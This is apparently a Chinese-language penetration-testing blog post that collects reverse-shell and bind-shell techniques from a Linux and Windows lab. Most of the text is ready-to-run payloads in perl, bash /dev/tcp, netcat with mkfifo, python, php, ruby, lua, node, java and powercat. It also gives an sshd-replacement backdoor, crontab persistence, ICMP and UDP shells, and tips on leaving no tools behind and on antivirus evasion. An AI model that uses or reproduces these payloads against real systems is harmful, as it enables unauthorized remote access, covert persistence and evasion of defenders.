你和目标只差一个shell的距离



0x01 前奏说明
    很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……其实,我一直都建议,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……

0x02 大致环境

1
2
3
4
win7 192.168.1.128
centos6.8 192.168.1.129
win2008R2 192.168.1.131
kali 192.168.1.147

0x03 关于linux平台下弹shell的一些方式

利用perl的socket,也是个人比较推荐的方式,因为现今几乎所有主流的linux发行版都已经装好了perl,细心的你也许会发现很多大马里弹shell的选项中一般都会有perl,后面bash -i的意思就是执行一个可交互的shell

1
2
C:\>nc -lvp 53
# perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

''


利用系统特殊设备文件/dev/tcp[当然,有这种特性的文件并不止这一个],语句的意思其实很简单,通俗点儿讲就是把bash的数据全部通多/dev/tcp建立的socket发过去,以此来达到反弹shell的效果

1
2
C:\>nc -lvp 80
# /bin/bash -i >& /dev/tcp/192.168.1.128/80 0>&1

''

利用sshd来反弹shell,ln -f的意思就是把原有的数据清空,整体语句的意思通俗点儿讲,就是把sshd绑定在本地的8080端口上,这样当别人从8080这个端口进来的时候就相当于直接进到本机的sshd中,-o就是去掉第一次ssh连接的那个密钥对提示,像这种正向连,有个非常不好的地方,防火墙只要阻断你这个端口的数据通信就基本废掉了

第一种方式:

1
2
3
4
5
# netstat -tulnp | grep "8080"
# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
# netstat -tulnp | grep "8080"
# ssh root@192.168.1.129 -p 8080 一定要注意在自己本地机器上用这个端口去连
# pkill su

''
''
''

第二种方式,注意这里的socat连接的端口,默认是13377端口,关于socat,这里就不多做介绍了,一个高级端口转发工具,当然,并不只是转发那么简单,想必小伙伴们应该也用的比较多了

1
2
3
4
5
6
7
8
# cd /usr/sbin/
# mv sshd ../bin/
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
# chmod u+x sshd
# /etc/init.d/sshd restart
# socat STDIO TCP4:192.168.1.129:22,sourceport=13377

''

利用最古老的nc来反弹,但默认正常发行版中默认带的那个nc都是阉割版的,即没有-e选项,也就意味着不能直接用它反弹shell,好在强大的linux为我们提供了一个建立管道的工具mkfifo和bash本身的各种管道特性,我们就可以利这种方式,把bash的数据通过管道反弹走

普通nc反弹

1
2
C:\>nc -lvp 8080
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.128 8080 >/tmp/f

''

加密版的netcat = ‘cryptcat’,可以设置连接密码,用-k指定下即可,kali默认自带,如果是目标机器,可能需要你自己手工动装一下

1
2
3
# cryptcat -vv -l -p 25 -k sec
# cryptcat -vv -l -p 80 -k sec
# cryptcat 192.168.12.141 80 -k sec|cmd.exe|cryptcat 192.168.12.141 25 -k sec

利用awk或gawk来反弹shell,awk就不用多说了吧,linux文本处理三剑客的老大,语句的意思也非常简单,就是循环发socket

1
# awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

''

利用系统自带的telnet客户端来反弹shell,一般运维默认都会把它装上

1
2
3
4
第一种
C:\>nc -vlp 1080 命令结果显示窗口
C:\>nc -lvp 8080 命令传输窗口
# telnet 192.168.1.128 8080 | /bin/bash | telnet 192.168.1.128 1080

''

1
2
3
第二种
C:\>nc -lvp 8080
# mknod test p && telnet 192.168.1.128 8080 0<test | /bin/bash 1>test

''

利用py反弹shell,就像perl在绝大多数发行版上都已经自带,但默认是2.6.6,不过,对我们来说,足矣,当然啦,这里只是用最简单的py的socket来反弹一个shell,关于其它的更高级的py reverse_shell 这里就不说了

1
2
C:\>nc -lvp 8080
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.128",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

''

利用crontab定时反弹shell,很容被发现,临时用用还行,至于用什么反弹,随意,perl,py都行,你喜欢,用完以后记得立马删掉

1
2
3
C:\>nc -lvp 8080
# (crontab -l;printf "* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.128\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -
# crontab -e

''

利用php的socket来反弹,对于php的网站,也许我们可以利用上,也是很多php大马里默认的反弹方式,当然,除了php脚本,别的web后端脚本其实都可以被利用,比如,jsp…

1
2
C:\>nc -lvp 8080
# /usr/local/php/bin/php -r '$sock=fsockopen("192.168.1.128",8080);exec("/bin/bash -i <&3 >&3 2>&3");'

''

如果目标机器上有java环境,那就更好了,直接用java来弹,效果一般还是非常好的,而且java的免杀效果也很不错哦,把下面的代码打成jar包就可以了,记得打之前改下里面要反弹到的ip和端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\>nc -lvp 8080
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.128/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

利用ruby的socket来反弹shell:

1
2
C:\>nc -lvp 8080
# ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.128","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

''

利用lua的socket来反弹shell:

1
2
3
4
5
c:\nc -lvp 8080
# apt-get install lua50 -y
# apt-get install luarocks -y
# luarocks install luasocket
# lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.128','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

''

利用nodejs反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\>nc -lvp 8080
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

c版的reverse_shell:

1
2
3
C:\>nc -lvp 8080
# gcc c_revese_shell.c -o cshell
# ./cshell 192.168.1.128 8080

''

利用gcc反弹shell:

1
抱歉,自己在本地暂时还没成功,待续....

0x04 基于不同协议下的shell反弹方式

利用icmp来反弹shell,需要你自己先编译下,会生成两个文件,一个服务端[ishd]一个客户端[ish],自己有兴趣可以拿wireshark看下,通常用来穿透高层防火墙

1
2
3
# make linux
# ./ishd -i 6555 -t 0 -p 8080
# ./ish -i 6555 -t 0 -p 8080 192.168.1.129[这里的ip可以换成域名]

''

利用udp来反弹shell

1
2
C:\>nc -l -p 53 -u 注意这里务必要用udp的模式来接
# python udpshell.py 192.168.1.128 53 udp

''

利用dns来反弹shell的方式,就不说了吧,详情可自行参考cobalt strike,那可能是现今最好的dns隧道学习样例

0x05 关于win平台下的一些shell反弹方式

除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然啦,如果你说vbs更好,那我也没啥好说的了,毕竟自己平时遇到03以下的系统实在是太少了,可能以后也会越来越少,人总要向前看嘛

1
C:\>nc -lvp 8080

1
2
记得到脚本里面去把要反弹到的ip和端口改一下,另外,可能是因为cmd默认的字符集[gbk]所以才会乱码,如果是英文系统就不会了
# powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}"

''

1
2
同样要记得去把脚本里要反弹到的ip和端口改成你自己的,这个格式化输出写的确实不怎么好
# powershell –exec bypass –Command "& {Import-Module 'C:\minRev.ps1'}"

''

利用powercat来反弹shell,其实就是powershell版的netcat

首先,在本机创建好powershell版的reverse shell的payload,编码处理的还是蛮不错的

1
2
3
4
5
PS C:\> Set-ExecutionPolicy Unrestricted
PS C:\> cd .\powercat
PS C:\powercat> Import-Module .\powercat.ps1
PS C:\powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1
C:\>nc -lvp 8080

然后,把payload.ps1丢到目标机器上去执行

1
# powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

''

关于nishang及其它各种powershell工具包中的各种反弹shell的方式,篇幅限制,这里就不一一说了,大家有兴趣可以去关注我的博客[klionsec.github.io],里面很久之前应该写过,可能比较粗糙,大家先将就看吧,后续我会抽空把博客好好整理一下,有点儿乱……

我知道,基于这种思路,可以衍生出来的方法还有非常非常的多,有兴趣咱们可以一起研究,不可否认的是,虽然只是一个简单的shell,但中间涉及到的东西依然是很值得学习的

0x07 一一些小结
    反弹的核心说白点其实就是和目标系统建立socket(如果中间[不管是正向还是反向]端口被防火墙阻断了,那你可能就只能选择复用或者直接走更底层的协议了,还是那句话,只是一个shell而已,方法已经有了,怎么在实战中按照自己的需求改进,可能才是你更需要思考的,另外,我们也看到,反弹的时候,进程会一直处于挂起状态,实际中放到后台跑就好了